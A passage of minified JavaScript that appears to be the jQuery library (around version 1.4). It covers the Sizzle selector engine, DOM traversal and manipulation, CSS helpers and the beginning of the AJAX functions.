k){y=l[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=k;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(o.filter(h,[t]).length>0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||
typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u=
l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&
y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};o.matches=function(g,h){return o(g,null,null,h)};o.find=function(g,h,k){var l,q;if(!g)return[];for(var p=0,u=m.order.length;p<u;p++){var t=m.order[p];if(q=m.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");l=m.find[t](q,
h,k);if(l!=null){g=g.replace(m.match[t],"");break}}}}l||(l=h.getElementsByTagName("*"));return{set:l,expr:g}};o.filter=function(g,h,k,l){for(var q=g,p=[],u=h,t,y,R=h&&h[0]&&w(h[0]);g&&h.length;){for(var H in m.filter)if((t=m.leftMatch[H].exec(g))!=null&&t[2]){var M=m.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(u===p)p=[];if(m.preFilter[H])if(t=m.preFilter[H](t,u,k,p,l,R)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=u[U])!=null;U++)if(D){I=M(D,t,U,u);var Da=
l^!!I;if(k&&I!=null)if(Da)y=true;else u[U]=false;else if(Da){p.push(D);y=true}}if(I!==v){k||(u=p);g=g.replace(m.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)o.error(g);else break;q=g}return u};o.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var m=o.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,h){var k=typeof h==="string",l=k&&!/\W/.test(h);k=k&&!l;if(l)h=h.toLowerCase();l=0;for(var q=g.length,
p;l<q;l++)if(p=g[l]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[l]=k||p&&p.nodeName.toLowerCase()===h?p||false:p===h}k&&o.filter(h,g,true)},">":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l<q;l++){var p=g[l];if(p){k=p.parentNode;g[l]=k.nodeName.toLowerCase()===h?k:false}}}else{l=0;for(q=g.length;l<q;l++)if(p=g[l])g[l]=k?p.parentNode:p.parentNode===h;k&&o.filter(h,g,true)}},"":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=
h=h.toLowerCase();q=b}q("parentNode",h,l,g,p,k)},"~":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,l,g,p,k)}},find:{ID:function(g,h,k){if(typeof h.getElementById!=="undefined"&&!k)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var k=[];h=h.getElementsByName(g[1]);for(var l=0,q=h.length;l<q;l++)h[l].getAttribute("name")===g[1]&&k.push(h[l]);return k.length===0?null:k}},
TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,k,l,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var u;(u=h[p])!=null;p++)if(u)if(q^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&
"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);
return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===
g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2===
0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return h<k[3]-0},gt:function(g,h,k){return h>k[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k<l;k++)if(h[k]===g)return false;return true}else o.error("Syntax error, unrecognized expression: "+
q)},CHILD:function(g,h){var k=h[1],l=g;switch(k){case "only":case "first":for(;l=l.previousSibling;)if(l.nodeType===1)return false;if(k==="first")return true;l=g;case "last":for(;l=l.nextSibling;)if(l.nodeType===1)return false;return true;case "nth":k=h[2];var q=h[3];if(k===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var u=0;for(l=p.firstChild;l;l=l.nextSibling)if(l.nodeType===1)l.nodeIndex=++u;p.sizcache=h}g=g.nodeIndex-q;return k===0?g===0:g%k===0&&g/k>=
0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="?
k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};
try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k<l;k++)h.push(g[k]);else for(k=0;g[k];k++)h.push(g[k]);return h}}var C;if(r.documentElement.compareDocumentPosition)C=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)j=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===
h?0:1;if(g===0)j=true;return g};else if("sourceIndex"in r.documentElement)C=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)j=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)j=true;return g};else if(r.createRange)C=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)j=true;return g.ownerDocument?-1:1}var k=g.ownerDocument.createRange(),l=h.ownerDocument.createRange();k.setStart(g,0);k.setEnd(g,0);l.setStart(h,0);l.setEnd(h,0);g=k.compareBoundaryPoints(Range.START_TO_END,
l);if(g===0)j=true;return g};(function(){var g=r.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id");
return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href",
2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===
0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[],
l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)o(g,h[q],k);return o.filter(l,k)};c.find=o;c.expr=o.selectors;c.expr[":"]=c.expr.filters;c.unique=o.uniqueSort;c.getText=a;c.isXMLDoc=w;c.contains=E})();var bb=/Until$/,cb=/^(?:parents|prevUntil|prevAll)/,db=/,/;Q=Array.prototype.slice;var Ea=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,i){return!!b.call(e,i,e)===d});else if(b.nodeType)return c.grep(a,
function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Qa.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var i=d;i<b.length;i++)for(var j=0;j<d;j++)if(b[j]===b[i]){b.splice(i--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=
0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ea(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ea(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e<n;e++){j=a[e];i[j]||(i[j]=c.expr.match.POS.test(j)?c(j,b||this.context):j)}for(;f&&f.ownerDocument&&f!==b;){for(j in i){e=i[j];if(e.jquery?e.index(f)>
-1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),
a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},
nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):
e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==
b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/<tbody/i,gb=/<|&\w+;/,sa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ia=function(a,b,d){return eb.test(d)?a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],
col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)},
wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?
d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,
false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&
!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/<script/i.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(Ha.exec(a)||
["",""])[1].toLowerCase()]){a=a.replace(Ga,Ia);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var i=c(this),j=i.html();i.empty().append(function(){return a.call(this,e,j)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,
b,f))});else a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(s){return c.nodeName(s,"table")?s.getElementsByTagName("tbody")[0]||s.appendChild(s.ownerDocument.createElement("tbody")):s}var e,i,j=a[0],n=[];if(!c.support.checkClone&&arguments.length===3&&typeof j===
"string"&&sa.test(j))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(j))return this.each(function(s){var x=c(this);a[0]=j.call(this,s,b?x.html():v);x.domManip(a,b,d)});if(this[0]){e=a[0]&&a[0].parentNode&&a[0].parentNode.nodeType===11?{fragment:a[0].parentNode}:ra(a,this,n);if(i=e.fragment.firstChild){b=b&&c.nodeName(i,"tr");for(var o=0,m=this.length;o<m;o++)d.call(b?f(this[o],i):this[o],e.cacheable||this.length>1||o>0?e.fragment.cloneNode(true):e.fragment)}n&&c.each(n,
Ma)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);for(var e=0,i=d.length;e<i;e++){var j=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),j);f=f.concat(j)}return this.pushStack(f,a,d.selector)}});c.each({remove:function(a,b){if(!a||c.filter(a,[this]).length){if(!b&&this.nodeType===1){c.cleanData(this.getElementsByTagName("*"));c.cleanData([this])}this.parentNode&&
this.parentNode.removeChild(this)}},empty:function(){for(this.nodeType===1&&c.cleanData(this.getElementsByTagName("*"));this.firstChild;)this.removeChild(this.firstChild)}},function(a,b){c.fn[a]=function(){return this.each(b,arguments)}});c.extend({clean:function(a,b,d,f){b=b||r;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||r;var e=[];c.each(a,function(i,j){if(typeof j==="number")j+="";if(j){if(typeof j==="string"&&!gb.test(j))j=b.createTextNode(j);else if(typeof j===
"string"){j=j.replace(Ga,Ia);var n=(Ha.exec(j)||["",""])[1].toLowerCase(),o=F[n]||F._default,m=o[0];i=b.createElement("div");for(i.innerHTML=o[1]+j+o[2];m--;)i=i.lastChild;if(!c.support.tbody){m=fb.test(j);n=n==="table"&&!m?i.firstChild&&i.firstChild.childNodes:o[1]==="<table>"&&!m?i.childNodes:[];for(o=n.length-1;o>=0;--o)c.nodeName(n[o],"tbody")&&!n[o].childNodes.length&&n[o].parentNode.removeChild(n[o])}!c.support.leadingWhitespace&&V.test(j)&&i.insertBefore(b.createTextNode(V.exec(j)[0]),i.firstChild);
j=c.makeArray(i.childNodes)}if(j.nodeType)e.push(j);else e=c.merge(e,j)}});if(d)for(a=0;e[a];a++)if(f&&c.nodeName(e[a],"script")&&(!e[a].type||e[a].type.toLowerCase()==="text/javascript"))f.push(e[a].parentNode?e[a].parentNode.removeChild(e[a]):e[a]);else{e[a].nodeType===1&&e.splice.apply(e,[a+1,0].concat(c.makeArray(e[a].getElementsByTagName("script"))));d.appendChild(e[a])}return e},cleanData:function(a){for(var b=0,d;(d=a[b])!=null;b++){c.event.remove(d);c.removeData(d)}}});var hb=/z-?index|font-?weight|opacity|zoom|line-?height/i,
Ja=/alpha\([^)]*\)/,Ka=/opacity=([^)]*)/,ga=/float/i,ha=/-([a-z])/ig,ib=/([A-Z])/g,jb=/^-?\d+(?:px)?$/i,kb=/^-?\d/,lb={position:"absolute",visibility:"hidden",display:"block"},mb=["Left","Right"],nb=["Top","Bottom"],ob=r.defaultView&&r.defaultView.getComputedStyle,La=c.support.cssFloat?"cssFloat":"styleFloat",ia=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===v)return c.curCSS(d,f);if(typeof e==="number"&&!hb.test(f))e+="px";c.style(d,f,e)})};
c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return v;if((b==="width"||b==="height")&&parseFloat(d)<0)d=v;var f=a.style||a,e=d!==v;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Ja.test(a)?a.replace(Ja,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Ka.exec(f.filter)[1])/100+"":""}if(ga.test(b))b=La;b=b.replace(ha,ia);if(e)f[b]=d;return f[b]},css:function(a,
b,d,f){if(b==="width"||b==="height"){var e,i=b==="width"?mb:nb;function j(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(i,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?j():c.swap(a,lb,j);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&
a.currentStyle){f=Ka.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ga.test(b))b=La;if(!d&&e&&e[b])f=e[b];else if(ob){if(ga.test(b))b="float";b=b.replace(ib,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ha,ia);f=a.currentStyle[b]||a.currentStyle[d];if(!jb.test(f)&&kb.test(f)){b=e.left;var i=a.runtimeStyle.left;a.runtimeStyle.left=
a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=i}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var pb=
J(),qb=/<script(.|\s)*?\/script>/gi,rb=/select|textarea/i,sb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ja=/\?/,tb=/(\?|&)_=.*?(&|$)/,ub=/^(\w+:)?\/\/([^\/?#]+)/,vb=/%20/g;c.fn.extend({_load:c.fn.load,load:function(a,b,d){if(typeof a!=="string")return this._load(a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=
c.param(b,c.ajaxSettings.traditional);f="POST"}var i=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(j,n){if(n==="success"||n==="notmodified")i.html(e?c("<div />").append(j.responseText.replace(qb,"")).find(e):j.responseText);d&&i.each(d,[j.responseText,n,j])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&
(this.checked||rb.test(this.nodeName)||sb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,
b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:z.XMLHttpRequest&&(z.location.protocol!=="file:"||!z.ActiveXObject)?function(){return new z.XMLHttpRequest}:
